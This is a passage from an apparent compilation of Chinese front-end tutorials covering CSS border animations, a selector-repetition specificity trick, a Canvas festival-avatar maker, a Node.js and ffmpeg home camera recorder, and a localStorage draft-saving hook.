            syntax: "<length-percentage>";

            inherits: false;

            initial-value: 0;

        }



        .wrap.gradient-animation {

            overflow: hidden;

            /*和普通 css 变量一样使用即可*/

            background-image:

                    conic-gradient(

                    #fff 0%,

                    #fff var(--offset),

                    transparent var(--offset) 100%

            );

        }



        /*需要使用一个遮挡来挡住多余的部分，只保留描边部分*/

        .wrap.gradient-animation::before {

            content: ' ';

            position: absolute;

            top: 2px;

            left: 2px;

            right: 2px;

            bottom: 2px;

            background: #1F1C2C;

            border-radius: inherit;

            z-index: 0;

        }



        .wrap.gradient-animation:hover {

            animation: gradient 5s linear 1 forwards;

        }

        

        @keyframes gradient {

            0% {

                --offset: 0;

            }

            100% {

                --offset: 100%;

            }

        }



    </style>

</head>

<body>

<div class="wrap gradient-animation">

    <!--  需要控制层级显示  -->

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

</body>

</html>

conic-gradient的技术细节就不展开了，感兴趣的可以自行查阅文档，这里主要的技术点在于--offset这个自定义属性，因为渐变本身是不支持动画的，所以需要借助这个自定义属性来实现动画效果，文档地址：@property

这里的效果其并不是很理想，因为conic-gradient的渐变是一个圆形的渐变，而实际效果是边框的一个描边，所以需要使用一个遮罩来挡住多余的部分，只保留描边部分。

由于使用了伪元素来实现遮罩，所以还需要控制层级显示，避免遮罩挡住了文字，并且原效果是透明的背景，这里使用遮罩层之后背景就不能是透明的了，而且动画在每一个部分执行的时间都不连贯。

可以说这种方式有很多的局限性，所以我们来看看下一种方式。

2. 渐变加 mask 实现

渐变加mask的实现思路和上面的类似，主要是解决了上面的背景半透明的问题，文档地址：mask

代码如下：

<div class="wrap gradient-mask">

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

.wrap.gradient-mask::before {

    content: ' ';

    position: absolute;

    inset: 0;

    background-color: rgba(255, 255, 255, 0.1);

    background-image: conic-gradient(

            #fff 0%,

            #fff var(--offset),

            transparent var(--offset) 100%

    );

    border-radius: inherit;



    mask-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'><rect width='150' x='1' y='1' height='40' rx='20' fill='transparent' stroke='red' stroke-width='2' stroke-alignment='outside'/></svg>");

    mask-size: 100% 100%;

    mask-repeat: no-repeat;

}



.wrap.gradient-mask:hover::before {

    animation: gradient 5s linear 1 forwards;

}

这里把效果整体迁移到了::before伪元素上，使用mask-image里面加了一个svg来处理描边的问题，这样就不需要使用遮罩来挡住多余的部分，只保留描边部分。

但是这里的问题也很明显，那就是svg并不能很好的响应式，而且因为svg的其他原因，导致描边的边宽有点被裁剪，这里也只是提供一个思路，并不是最佳实践。

3. 使用 svg 实现

上面都已经使用到了svg作为遮罩，那么直接使用svg更简单直接，这种情况个人也比较推荐，代码如下：

<div class="wrap svg">

    <svg xmlns="http://www.w3.org/2000/svg">

        <rect width="150" x="1" y="1" height="40" rx="20" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />

        <rect width="150" x="1" y="1" height="40" rx="20" class="rect" />

    </svg>

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

.wrap.svg svg {

    position: absolute;

    inset: 0;

    width: 100%;

    height: 100%;

}



.wrap.svg svg > rect {

    width: calc(100% - 2px);

    height: calc(100% - 2px);

    fill: transparent;

    stroke-width: 2;

}



.wrap.svg svg > .rect {

    stroke-dasharray: 350;

    stroke-dashoffset: 350;

    stroke: white;

    stroke-width: 2;

}



.wrap.svg:hover svg > .rect {

    transition: stroke-dashoffset 5s linear;

    stroke-dashoffset: 0;

}

svg的描边效果主要是通过stroke-dasharray和stroke-dashoffset来实现的，svg描边效果也是一个非常有趣的实现。

stroke-dasharray是用来控制虚线的，这个值越大，虚线之间的间隔也越大，大到一定程度这个虚线就正好将整个形状包裹住。

stroke-dashoffset是用来控制虚线的偏移量，当这个值等于stroke-dasharray的时候，虚线就会完全消失，等于0的时候，虚线就会完全显示。

根据svg的特性，描边是在形状的外部，所以最外层有一个半透明的边框路径显示的并不完全，需要通过一些技巧来处理。

所以上面的代码会有两个rect，一个是用来描边的，一个是用来做半透明的边框的，这样就可以实现一个比较完美的描边动画效果。

但是上面的描边起点和终点都是在左上角，如果需要在中间的话，可以通过path来实现，感兴趣的可以自行尝试，这里提供path的代码：

<svg viewBox="0 0 600 150" xmlns="http://www.w3.org/2000/svg">

    <path d="M 100 0 L 500 0 A 50 50 0 1 1 500 150 L 100 150 A 50 50 0 1 1 100 0 Z" fill="transparent" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />

</svg>

path需要微调，因为没有贴边，可以使用一些在线网站来进行调整，比如：svg-path-editor，可自行探索。

总结

这一篇文章通过多种方式来实现一个描边动画效果，主要技术有：

当然肯定还有其他的方式来实现这个效果，这里只是提供了一些思路，希望对大家有所帮助。

原文：Double your specificity with this one weird trick

在一个理想的世界里，我们的 CSS 代码组织得井井有条，易于维护。然而，现实往往大相径庭。你的 CSS 代码是完美的，但其他人那些烦人的 CSS 可能会与你的风格冲突，或者应用了你不需要的样式。

此外，你可能也无法修改那些 CSS。也许它来自你正在使用的 UI 库，也许是一些第三方的小组件。

更糟糕的是，HTML 也不受你控制，添加一些额外的 class 或 id 属性来覆盖样式也并不可行。

不知不觉中，你被卷入了一场 CSS 优先级之战。你的选择器需要优先于他们的选择器。开发者很容易被『诱惑 😈』去使用 !important，但你知道这是不好的实践，我们能不能有一种更优雅的方式来实现我们覆盖的诉求？

本文将教给你一个技巧，可以用一种不是很 hacky 的方式应对这些情况 👩‍💻。

示例 🔮

假设你正在开发一个网站，该网站有一个新闻订阅表单。它包含一个复选框，但复选框的位置有点偏。你需要修正这个问题，但注册表单是一个嵌入到页面上的第三方组件，你无法直接修改它的 CSS。

通过浏览器检查复选框，确定只要改变它的 top 位置即可。当前的位置是通过选择器.newsletter .newsletter__checkbox .checkbox__icon 设置的，它的权重为 (0,3,0)。

一开始你可能会使用相同的选择器来修改 top 值：

/* 覆盖新闻通讯复选框的顶部位置 */

.newsletter .newsletter__checkbox .checkbox__icon {

  top: 5px;

}

当 CSS 的顺序是固定的，并且你可以保证你的 CSS 规则一定在他们的后面的情况下，这足够了。因为『后来居上』：即如果有多个相同的 CSS 选择器选择了同一个DOM元素，那么最后出现的将“获胜”。

然而，大多数时候你无法保证代码顺序。此时你需要增加选择器的优先级。你可以在 DOM 中寻找一些额外的类名，一般从父元素中添加：

/* 更多的类名！权重现在是(0,4,0) */

.parent-thing .newsletter .newsletter__checkbox .checkbox__icon {

  top: 5px;

}

或者你发现这个元素恰好是一个 ，可以将其加入选择器提高优先级：

/* 权重现在是 (0,3,1) */

.newsletter .newsletter__checkbox span.checkbox__icon {

  top: 5px;

}

但所有这些方法都有副作用，都会使你的代码变得脆弱。如果 .parent-thing 突然不见了呢，比如你升级了某个外部依赖（比如 antd 😅）？或者如果 .checkbox__icon 从 span 改成了不同的元素怎么办？突然间，你的高优先级选择器什么也选不到了！

当浏览器计算 CSS 选择器优先级时，它们本质上是在计算你组合了多少 ID、类、元素或等效选择器。实际上可以多次重复同一个选择器，每次重复都会增加权重。CSS 选择器 Level 4 规范 写到：

CSS 选择器允许多次出现相同的简单选择器，而且可以增加权重。

因此，你可以通过重复（三次、四次……）相同的选择器提高权重：

/* 双重 .checkbox__icon！权重现在是 (0,4,0) */

.newsletter .newsletter__checkbox .checkbox__icon.checkbox__icon {

  top: 5px;

}

注意 .checkbox__icon.checkbox__icon 中没有空格！它是一个选择器，因为你针对的是具有那个类的单个元素

现在你可以简单地重复几次选择器来提升优先级！

译者注：该技巧其实在 MDN !important 章节 有示例（以下示例重复了3次#myElement）：

#myElement#myElement#myElement .myClass.myClass p:hover {

 color: blue;

}



p {

 color: red !important;

}

在 HTML 中重复 🚫

注意，这个技巧只在 CSS 中有效！在 HTML 中重复相同的类名对优先级没有任何影响。

<div class="badger badger badger">

  Mushroom!

div>

总结 🎯

CSS 可以多次重复同一个选择器，每次重复都会增加权重 🏋️‍♂️

这种 CSS 技巧是否有点 hack？也许是。然而我认为它让我们：

• 避免诉诸于 !important


• 『就近原则』提高可读性：重复多次的选择器，这样代码的意图对读者来说更清晰


• 这种模式让你很容易在代码中找到其他人的 CSS 覆盖，如果不再需要我们可以放心删除

只要你不过度使用它，我认为这是一个完全合法且 Robust 的技巧至少相比我们之前学会的所有技巧，下次处理棘手的覆盖三方样式情况时可以考虑用一用。

是否还有更好的解决办法？其实有，@layer 是官方推荐的最佳实践但是兼容性不好 Chrome>=99，而且使用场景有限。

一、为什么要自己制作节日头像？

很多人想为节日换上特别的头像，尤其是在国庆这样的节日气氛中，给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作，就能轻松给头像加上节日图案，比如国庆节、圣诞节头像等。然而，实际体验却很糟糕——广告无处不在！每一步操作几乎都被强制插入广告打断，不仅浪费时间，体验也非常差。

为了避开这些广告，享受更自由、更个性化的制作过程，我决定分享一个不用看广告的好方法：使用 Canvas 自己动手制作一个专属的节日头像！

二、源码 & 在线体验

👀 在线体验 | 📖 源码地址 | 欢迎start、欢迎共同交流

注意事项

• demo_admin 为体验用户，项目一人一号 ，如果体验人数过多，请自行选中项目中的登录方式进行登录
• 本文源码在 yf/ yf-vue-admin / src / views / demo / festival-avatar

三、 实现的功能与后续发展

在解决了广告干扰的问题后，我通过 Canvas 实现了多个实用功能，让大家可以轻松制作个性化的节日头像：

1. 头像裁剪功能
2. 头像与框架的拼接
3. 头像框透明度调节
4. 头像框颜色过滤(可自定义头像框)
5. 后续发展：Fabric.js 自定义贴图功能
6. 后续发展：更新更多节日的头像 & 贴图

四、当前素材及投稿征集

展示目前头像框素材，也欢迎大家投稿，我也会陆续更进头像框（项目中头像框已进行分类，这里为了方便展示，也可以自定义头像框）

1. 头像框

2. 贴图

五、代码实现

整体逻辑非常简单 : 头像 + 头像框 = 所需头像

1. 头像裁剪功能

页面部分

• 使用 :width 来根据设备类型设置宽度（device === DeviceEnum.MOBILE ? '95%' : '42%'）。
•  用于图像裁剪功能。
• 底部有文件上传和旋转按钮。

<template>

  <el-dialog

    v-model="dialog.visible"

    :width="device === DeviceEnum.MOBILE ? '95%' : '42%'"

    class="festival-avatar-upload-dialog"

    destroy-on-close

    draggable

    overflow

    title="上传头像"

  >

    <div style="height: 45vh">

      <vue-cropper

          ref="cropper"

          :autoCrop="true"

          :centerBox="true"

          :fixed="true"

          :fixedNumber="[1,1]"

          :img="imgTemp"

          :outputType="'png'"

      />

    div>

    <template #footer>

      <div class="festival-avatar-dialog-options">

        <el-button @click="uploadAvatar">

          <el-icon style="margin-right: 5px;">

            <UploadFilled/>

          el-icon>

          上传头像

          <input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"

                 @change="handleFileChange">

        el-button>

        <el-button @click="rotateLeft">

          <el-icon><RefreshLeft/>el-icon>

        el-button>

        <el-button @click="rotateRight">

          <el-icon><RefreshRight/>el-icon>

        el-button>

        <el-button type="primary" @click="submitForm">提 交el-button>

      div>

    template>

  el-dialog>

template>

代码逻辑部分（核心部分）

• imgTemp 用来存储上传的临时图片数据。
• handleFileChange 处理文件上传事件，校验文件类型并使用 FileReader 读取图片数据，并本地存储。
• rotateLeft 和 rotateRight 分别用于左旋和右旋图片。

// 省略部分属性定义

const imgTemp = ref<string>("") // 临时图片数据

const cropper = ref();  // 裁剪实例

const avatarUploaderRef = ref<HTMLInputElement | null>(null);  // 上传头像 input 引用



// 上传头像功能

function uploadAvatar() {

  avatarUploaderRef.value?.click(); // 点击 input 触发上传

}



// 上传文件前校验 : 略



// 处理文件上传

function handleFileChange(event: Event) {

  const input = event.target as HTMLInputElement;

  if (input.files && input.files[0]) {

    const file = input.files[0];



    if (!beforeAvatarUpload(file)) return;



    const reader = new FileReader();

    reader.onload = (e: ProgressEvent) => {

      imgTemp.value = e.target?.result as string; // 读取的图片数据赋给 imgTemp

    };

    reader.readAsDataURL(file);

  }

}



// 旋转功能

function rotateLeft() {

  cropper.value?.rotateLeft();

}



const rotateRight = () => {

  cropper.value?.rotateRight();

};

实现效果图

2. 头像与头像框合并

页面部分 （核心部分）

• compositeAvatar 为组合头像 ， avatarData 为头像数据 ，compositeCanvas 头像 Canvas , avatarFrameCanvas 头像框 Canvas
• 在没有 compositeAvatar 的时候展示 avatarData , 没有 avatarData 提示用户点击 PLUS 的图片

<div class="festival-avatar-preview">

  <div class="festival-avatar-preview__plus" @click="openAvatarDialog">

    

    <img v-if="compositeAvatar" :src="compositeAvatar" alt="合成头像"/>



    

    <img v-else-if="avatarData" :src="avatarData" alt="头像"/>



    

    <el-icon v-else color="#8c939d" size="28">

      <Plus>Plus>

    el-icon>

  div>

div>







<canvas ref="compositeCanvas" style="display: none;">canvas>



<canvas ref="avatarFrameCanvas" style="display: none;">canvas>

逻辑部分 （核心部分）

• 通过 toDataURL 转换后合成为组合头像 ， 通过 drawImage 合并 avatarFrameCanvas 和上文中avatarData 进行合并

const context = getCanvasContext(compositeCanvas); // 获取主 Canvas 上下文

const frameContext = getCanvasContext(avatarFrameCanvas); // 获取头像框 Canvas 上下文



// 省略非相关逻辑 , context 中写入 avatarData 内容



// 将处理后的头像框绘制到主 Canvas 上

context.drawImage(avatarFrameCanvas.value, 0, 0, avatarImg.width, avatarImg.height);



// 将合成后的图片转换为数据 URL

compositeAvatar.value = compositeCanvas.value!.toDataURL('image/png');

实现效果

当我们点击头像框的时候，合并头像

3. 头像框透明度调整

页面部分 与上文一样 , 通过调整 avatarFrameCanvas 的内容而调整头像框

逻辑部分 （核心部分）

通过 context 中 globalAlpha 属性设置全局透明度。

setFrameOpacity(frameContext, frameOpacity.value); // 设置头像框透明度

 

/**

 * 设置 Canvas 的透明度

 * @param context Canvas 的 2D 上下文

 * @param opacity 透明度值

 */

function setFrameOpacity(context: CanvasRenderingContext2D, opacity: number) {

  context.globalAlpha = opacity; // 设置全局透明度

}

实现效果

4. 头像框颜色过滤

页面部分 与上文一样 , 通过调整 avatarFrameCanvas 的内容而调整头像框

服务对象 我们有自定义头像框功能，但是自己找的头像很容易有白底的问题，所以更新此功能。

逻辑部分 （核心部分）

filterColorToTransparent 函数

• 作用：将与指定颜色相近的像素变为透明。

colorDistance 函数

• 作用：计算两种颜色（RGB 值）之间的距离。距离越小，颜色越相似。
• 计算方式：使用欧几里得距离公式计算两个 RGB 颜色向量之间的距离，如果距离小于一定的容差值（tolerance），则认为两种颜色足够接近。 

rgbStringToArray 函数

• 作用：将 RGB 字符串（例如 'rgb(255,255,255)'）转换为包含 r, g, b 值的对象。

/**

 * 将指定颜色过滤为透明

 * @param context Canvas 的 2D 上下文

 * @param width Canvas 宽度

 * @param height Canvas 高度

 */

function filterColorToTransparent(context: CanvasRenderingContext2D, width: number, height: number) {

  const frameImageData = context.getImageData(0, 0, width, height);

  const data = frameImageData.data;



  const targetColor = rgbStringToArray(colorFilter.value.color); // 将目标颜色转换为 RGB 数组



  // 遍历所有像素点

  for (let i = 0; i < data.length; i += 4) {

    const r = data[i];

    const g = data[i + 1];

    const b = data[i + 2];

    const distance = colorDistance({r, g, b}, targetColor); // 计算当前颜色与目标颜色的差距



    // 如果颜色差距在容差范围内，则将其透明度设为 0

    if (distance <= colorFilter.value.tolerance) {

      data[i + 3] = 0; // 设置 alpha 通道为 0（透明）

    }

  }



  // 将处理后的图像数据放回 Canvas

  context.putImageData(frameImageData, 0, 0);

}



/**

 * 计算两种颜色之间的距离（欧几里得距离）

 * @param color1 颜色 1，包含 r、g、b 属性

 * @param color2 颜色 2，包含 r、g、b 属性

 * @returns number 返回颜色之间的距离

 */

function colorDistance(color1: { r: number; g: number; b: number }, color2: { r: number; g: number; b: number }) {

  return Math.sqrt(

      (color1.r - color2.r) ** 2 +

      (color1.g - color2.g) ** 2 +

      (color1.b - color2.b) ** 2

  );

}



/**

 * 将 RGB 字符串转换为 RGB 数组

 * @param rgbString RGB 字符串（例如 'rgb(255,255,255)'）

 * @returns 返回一个包含 r、g、b 值的对象

 */

function rgbStringToArray(rgbString: string) {

  const result = rgbString.match(/\d+/g)?.map(Number) || [0, 0, 0]; // 匹配并转换 RGB 值

  return {r: result[0], g: result[1], b: result[2]}; // 返回 r、g、b 对象

}

实现效果

1. 在 Canva 自己制作一个头像

2. 上传头像框，制作头像 ( 过滤白色 )

六、结束语

开发很容易，祝大家各个节日快乐 ！！！

作者：翼飞
来源：juejin.cn/post/7419223935005605914

某天我骑着我的小电驴下班回到我那出租屋，习惯性的看了一眼我那停在门口的二手奥拓，突然发现有点不对劲，走近一看引擎盖上多了一大条划痕，顿时恶向胆边生，是谁！！！为此我决定用现有条件做一套简易的监控系统来应对日后的情况，于是有了这篇文章。

一 准备工作

由于是要做监控，硬件是必不可少的，所以首先想到的就是闲置的手机了，找了一台安卓8.1的古董出来，就决定是你了。因为之前在公司使用过
DroidCam这款软件用来进行webRTC的开发，所以这次就顺理成章的装了这款软件，连上家里的wifi后打开就相当于有了一台简易的视频服务器。那么硬件搞定了，接下来的就是软件了。梳理下来的话只有以下几点了

由于本人是个前端，因此这里就顺理成章的使用node来作为软件实现的第一方案了。

二 获取视频流，啊？怎么是这玩意儿

怎么获取它传过来的视频流呢？看了一下上打开的软件界面，发现给了两个地址，ip端口 和 ip端口/video，不出意料的这两个里面肯定是有能用的东西，挨个打开后发现不带video的地址是相当于一个控制台，带video的是视频的接口地址。那就好办了，我满怀激动的以为一切都很容易的时候，打开控制台一看，咦，这是啥玩意儿？它的所谓的视频是现在img标签里的，这在之前可是没见过哦，再看一眼接口地址，咦，这是一个长链接？点开详情看了一眼，好吧，又学到新东西了。它的Content-Type是multipart/x-mixed-replace;boundary='xxxx',这是啥呀，搜索了一下资料后如下。

MJPEG（Motion Joint Photographic Experts Gr0up）是一种视频压缩格式，其中每一帧图像都分别使用JPEG编码，不使用帧间编码，压缩率通常在20:1-50:1范围内。它的原理是把视频镜头拍成的视频分解成一张张分离的jpg数据发送到客户端。当客户端不断显示图片，即可形成相应的图像。

大致意思懂了，就是这就是一张张的图像呗。后面又看了一下服务端是如何生成这玩意儿的，这里就不细说了。

知道了是啥东西，那就要想怎么把它搞出来了

三 使用ffmpeg 获取每一帧

ffmpeg相信大家都不陌生，使用前需要先在本机上安装，安装方法的话这里就不赘述了。
安装后在系统环境变量高级设置中，增加path变量的值为ffmpeg在电脑上的路径。后续就可以使用了。

随便新建一个js文件

    const fs = require('fs')

    const path = require('path')

    //截取的视频帧的存储路径和命名方式

    const outputFilePattern = path.join(__dirname + '/newFrame', 'd.jpg');

    //视频服务器地址

    const mjpegUrl = 'http://192.168.2.101:4747/video?1920x1080';

    //通过child_process的spawn调用外部文件，执行ffmpeg，并传入参数

    //下方代码执行后在连接到服务后不手动停止的情况下期间会不断的在指定目录下生成获取到的图片

    const ffmpeg = require('child_process').spawn('ffmpeg', [

        '-i',

        mjpegUrl,

        '-vf',

        'fps=24',//设置帧率

        '-q:v',

        '1', // 调整此值以更改输出质量（较低的值表示更好的质量）  

        outputFilePattern // %d 将被替换为帧编号  

    ], { windowsHide: true });//调用时不显示cmd窗口

    

    //错误监听

    ffmpeg.on('error', function (err) {

        throw err;

    });

    

    //关闭监听

    ffmpeg.on('close', function (code) {

        console.log('ffmpeg exited with code ' + code);

    });



  //数据

    ffmpeg.stderr.on('data', function (data) {

        console.log('stderr: ' + data.toString());

        //执行合并图片操作

        //....

    });

上述代码运行后如果能正常连接上服务的话你会在指定目录下看到不断生成的图片。

四 将图片生成为视频

光有图片是不够的，我最终的预期是生成视频以供查看，所以添加以下的代码将图片合并为视频

//上面生成图片后存放的位置

let filePath = path.join(__dirname + '/newFrame', 'd.jpg');

let comd = [

        '-framerate',

        '24',

        '-i',

        filePath,

        '-c:v',

        'libx264',

        '-pix_fmt',

        'yuv420p',

        `${__dirname}/outVideo/${new Date().getFullYear()}-${(new Date().getMonth() + 1).toString().padStart(2, '0')}-${new Date().getDate().toString().padStart(2, '0')}_${new Date().getHours().toString().padStart(2, '0')}${new Date().getMinutes().toString().padStart(2, '0')}${new Date().getSeconds().toString().padStart(2, '0')}.mp4`



    ]

    const ffmpeg = require('child_process').spawn('ffmpeg', comd,{ windowsHide: true });

    ffmpeg.on('close', function (code) {

        console.log('ffmpeg exited with code ' + code);

        console.log('任务执行结束，开始删除')

    });

我这里定的是每2000张图片组合成视频，因此将第三步中的

ffmpeg.stderr.on('data', function (data) {

        console.log('stderr: ' + data.toString());

    });

改成

ffmpeg.stderr.on('data', function (data) {

        console.log('stderr: ' + data.toString());

        //打印结果 =>>frame= 1474 fps= 14 q=1.0 size=N/A time=00:01:01.41 bitrate=N/A speed=0.57x



        let arr = data.toString().split('fps')



        try {

            //获取frame数量用来计数

            frameCount = arr[0].split('=')[1].trim()



            console.log(frameCount)



              //为什么这里用大于而不是等于呢，因为获取frame可能不是总会计数到我们想要的值，踩过坑，注意

            if (frameCount > 2000) {

          

                console.log('数量满足')

                //关闭本次获取流

                ffmpeg.kill('SIGKILL');



                //这里执行合并文件的操作

                //...



            }



        } catch (e) { }



    });

到这里如果你一切顺利的话就能在指定的文件夹里看到合并完成后的MP4视频了。

五 合并完成后删除上次获取的图片

将第四步的

 ffmpeg.on('close', function (code) {

        console.log('ffmpeg exited with code ' + code);

        console.log('任务执行结束，开始删除')

    });

改为

 ffmpeg.on('close', async function (code) {

        console.log('ffmpeg exited with code ' + code);

        console.log('任务执行结束，开始删除')

        try {

        await fsE.emptyDir('your folderPath');

        console.log(`已清空文件夹`);

       

           //重新执行第二步

           //...

     

    } catch (err) {

        console.error(`无法清空文件夹: ${err}`);

    }

    });

这里的fsE是 const fsE = require('fs-extra');，需要安装并且导入

到这里为止，整个基本的流程就完成了

六 总结

整个程序到目前为止已经能基本满足我的需求，但是还存在不足，比如频繁的往硬盘上读写文件、容错处理等等，后续我的想法是把图片保存到内存中，在满足条件后再写入硬盘，减少文件的I/O操作，加入对人体的识别，接入之前写过的邮件通知，有人靠近自动记录时间点并发送到邮箱。当然了，我这个肯定比不了市面上的那些成熟产品，就是自己写着好玩的，请各位大佬轻喷！有错误和意见欢迎指正！

现场

大家好，我是多喝热水。

事情是这样的，那天晚上老板在群里吐槽说他在手机上写了将近 1000 字的评论不小心点了一下黑屏，然后内容就突然没了，如下：

原来是我们编辑器没有做草稿能力，导致关闭后原本编辑的内容都消失了，确实这个体验不太好，想想怎么把这里优化一下。

调研

像我们平时用得比较多的社交平台，比如某音、某书等，先从它们的评论区入手，看看主流的平台是怎么做的。

1）某音

某音的效果是，在某条视频下评论后划走，再划回来编辑的内容就不在了，看样子是没有做草稿能力，如图：

2）某书

某书的效果是，在某个笔记下面评论然后划走，再回来的时候内容是还在的。而且每条评论都有自己的编辑态，互不干扰，如图：

好看真好看，呸好用真好用，既然体验上某书更好，我决定仿照某书的方案来实现。

既然要做成某书的效果，那我们就需要解决两个问题：

1）他们评论区草稿内容是怎么存的？

2）存在哪里了？

内容怎么存？

先说说我的看法，如果要让每条评论都拥有独立的编辑态，那么肯定是需要一个唯一标识的，那我能想到的唯一标识就是ID。

内容存哪里？

存后端还是存前端？存前端的话又存哪里？这里我简单总结了一下：

存后端

优势：数据真正的持久化、安全性高

缺陷：需要网络连接，依赖后端，开发成本高

存前端

优势：简单易用、性能好、脱机可用

缺陷：无法真正持久化、存储空间有限、不安全

方案选择

回归到需求本身，我们不需要实时性多么高，所以存前端就已经可以满足我们的需求了。

但在前端存储还有一个存储空间问题，需要考虑一下存储内容的有效时间，过期了就得删除，不然会存在很多冗余数据，所以我们又面临新的问题，前端用什么来存？

浏览器常用的存储方案：cookie、localStorage、sessionStorage

1）cookie 是可以设置过期时间的，但如果存 cookie，那它的容量只有5kb，有点太小了，并且每次发请求 cookie 都会被携带上，无疑是增加了额外的带宽开销

2）sessionStorage 存储空间最大支持5MB，但窗口被关闭后数据就过期了，有效期仅仅是窗口会话期间，万一用户不小心关闭了窗口，数据也消失了，所以这个方案也不太妥当

3）相比之下 localStorage 的容量也有 5MB，足够大，但是它本身不支持设置过期时间（默认永久有效），需要人为去控制，好在这个成本并不高，综合之下我们还是选择存 localStorage 了

开发

选好方案后，就可以开始动手开发了！先把支持控制过期时间 的 localStorage 逻辑写一下。

写之前我们需要考虑一下代码的复用性，因为在我们网站中，有很多地方都用到了编辑器，比如评论区、交流内容发布等，如果每一处都写一遍的话，那这个代码就太冗余了，所以将它封装为一个 hook 是一个不错的选择，代码如下：

import { CACHE_TYPE, EXPIRES_TIME } from './constants';



/**

 * 缓存数据

 * @param key

 * @returns

 */

export default function useCache(key: string = CACHE_TYPE.ESSAY_CONTENT) {

  /**

   *  删除缓存数据

   */

  const removeCache = () => {

    localStorage.removeItem(key);

  };



  /**

   * 设置缓存数据

   * @param data 数据内容

   * @param expires 过期时间（毫秒）

   */

  const setCache = (data: any, expires: number = EXPIRES_TIME) => {

    const cacheData = {

      value: data,

      expires: expires ? Date.now() + expires : null, // 计算过期时间戳

    };

    localStorage.setItem(key, JSON.stringify(cacheData));

  };



  /**

   *  获取缓存数据

   * @returns 缓存数据或 null

   */

  const getCache = () => {

    const cachedString = localStorage.getItem(key);

    if (!cachedString) {

      return null;

    }

    const cachedObject = JSON.parse(cachedString);

    // 检查是否设置了过期时间并且是否已经过期

    if (cachedObject.expires && Date.now() > cachedObject.expires) {

      removeCache(); // 删除已过期的数据

      return null;

    }

    return cachedObject.value;

  };



  return { removeCache, setCache, getCache };

}